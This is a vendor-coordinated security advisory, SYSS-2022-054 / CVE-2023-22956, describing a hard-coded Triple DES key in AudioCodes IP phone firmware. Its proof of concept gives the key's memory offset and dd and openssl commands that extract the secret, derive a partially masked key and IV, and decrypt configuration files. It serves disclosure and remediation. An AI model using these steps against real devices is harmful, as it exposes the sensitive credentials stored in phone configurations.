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Advisory ID:               SYSS-2022-054
Product:                   AudioCodes VoIP Phones
Manufacturer:              AudioCodes Ltd.
Affected Version(s):       Firmware Versions >= 3.4.8.M4
Tested Version(s):         Firmware Version 3.4.4.1000
Vulnerability Type:        Use of Hard-coded Cryptographic Key (CWE-321)
Risk Level:                Medium
Solution Status:           Open
Manufacturer Notification: 2022-11-11
Solution Date:             N.A.
Public Disclosure:         2023-08-10
CVE Reference:             CVE-2023-22956
Author of Advisory:        Moritz Abrell, SySS GmbH

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Overview:

AudioCodes VoIP phones are modern desk phones which are used for the
operation in enterprise environments.

The manufacturer describes the product as follows (see [1]):

"The AudioCodes 400HD series of IP phones is a range of easy-to-use,
feature-rich desktop devices for the service provider hosted services,
enterprise IP telephony and contact center markets. Based on the same
advanced, field-proven underlying technology as our other VoIP products,
AudioCodes high quality IP phones enable systems integrators and end
customers to build end-to-end VoIP solutions."


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The AudioCodes VoIP phones can be managed centrally, whereby configuration
files are provided and requested by the phones at a central location.
These configuration files can also be provided in encrypted form.
This is intended to protect sensitive information within the configuration
files from unauthorized access.

Due to the use of a hardcoded cryptographic key, an attacker is able to
decrypt encrypted configuration files and retrieve sensitive information.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

By analyzing the ELF executable "decryption_tool" of an AudioCodes IP phone
firmware in a disassembler and decompiler, e.g. Ghidra, the encryption
mechanism could be reversed and the hardcoded cryptographic key could be
extracted.

Used encryption algorithm: Triple DES in CBC mode
Memory address of the 64-byte secret for OpenSSL key and IV derivation: 00001e8f

Extracting the secret:
     #> offset=$(python3 -c 'print(int("00001e8f", base=16))')
     #> dd skip=$offset count=64 if=decryption_tool of=secret.bin bs=1

Deriving the key and IV from the 64-byte secret:
     #> openssl enc -des-ede3-cbc -P -pass pass:h4dArat[...] -nosalt
     
     key = 40DA61FB4831FF53[...]
     iv  = C614B77A[..]

With the derived key and IV, it is possible to decrypt encrypted configuration
files.

As a proof of concept, the OpenSSL command-line tool can be used for
decryption:
     #> openssl enc -d -des-ede3-cbc -pass pass:h4dArat[...] -nosalt \
         -in /tmp/encrypted_config.cfg -out /tmp/plain_config.cfg


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update devices to firmware version 3.4.8.M4 and define an individual and
strong secret from which the encryption key is derived.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2022-11-03: Vulnerability discovered
2022-11-11: Vulnerability reported to manufacturer
2022-12-12: Vulnerability confirmed by AudioCodes Ltd.
2023-01-19: AudioCodes Ltd. adapts the documentation so that it no
             longer states that the passwords are encrypted but obfuscated
2023-07-13: AudioCodes Ltd. informs that the upcoming release 3.4.8.M4
             will include a feature that allows setting a custom password
             from which the key will be derived
2023-08-10: Public disclosure at BlackHat USA[4]
2023-08-11: Public disclosure athttps://blog.syss.com[5]

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References:

[1] AudioCodes IP Phones Product Website
     https://www.audiocodes.com/solutions-products/products/ip-phones
[2] SySS Security Advisory SYSS-2022-054
     https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-054.txt
[3] SySS Responsible Disclosure Policy
     https://www.syss.de/en/responsible-disclosure-policy
[4] BlackHat USA Briefings Session
     https://www.blackhat.com/us-23/briefings/schedule/#zero-touch-pwn-abusing-zooms-zero-touch-provisioning-for-remote-attacks-on-desk-phones-31341
[5] Detailed Blog Post
     https://blog.syss.com/posts/zero-touch-pwn/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Moritz Abrell of SySS GmbH.

E-Mail:moritz.abrell@syss.de
Public Key:https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc
Key Fingerprint: 2927 7EB6 1A20 0679 79E9  87E6 AE0C 9BF8 F134 8B53

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL:http://creativecommons.org/licenses/by/3.0/deed.en
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